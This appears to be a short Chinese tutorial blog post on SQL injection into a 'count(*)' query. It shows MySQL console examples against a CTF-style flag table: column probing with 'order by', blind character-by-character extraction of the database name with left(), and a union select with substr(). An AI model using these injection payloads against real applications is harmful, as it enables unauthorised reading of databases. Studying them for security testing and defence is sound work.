select count(*) from user注入

先来看一条sql语句:

1 mysql> select * from flag where id =1;
2 +------+----------+----------+------------+
3 | id   | username | password | flag       |
4 +------+----------+----------+------------+
5 | 1    | 1        | 1        | flag{xxoo} |
6 +------+----------+----------+------------+
7 1 row in set (0.00 sec)

有四个字段,所以order by自然是4

但是不是*而是count(*)的时候。order by 4就错误了

1 mysql> select count(*) from flag where id =1 order by 4;
2 ERROR 1054 (42S22): Unknown column '4' in 'order clause'

仅order by 1正确。

所以只能只能为1

这时候可以采用截取的方法进行注入。

这里推荐一个比较简单的。

1 mysql> select count(*) from flag where id =1 and left(database(),1)='t';
2 +----------+
3 | count(*) |
4 +----------+
5 |        1 |
6 +----------+
7 1 row in set (0.00 sec)

直接通过left 截取会更加便捷。

使用substr需要多出一条sql

1 mysql> select count(*) from flag where id =1 union select substr(database(),1);
2 +----------+
3 | count(*) |
4 +----------+
5 | 1        |
6 | test     |
7 +----------+
8 2 rows in set (0.00 sec)

不是那么好。所以使用left 是最好的。

猜你喜欢

转载自www.cnblogs.com/nul1/p/9418444.html
今日推荐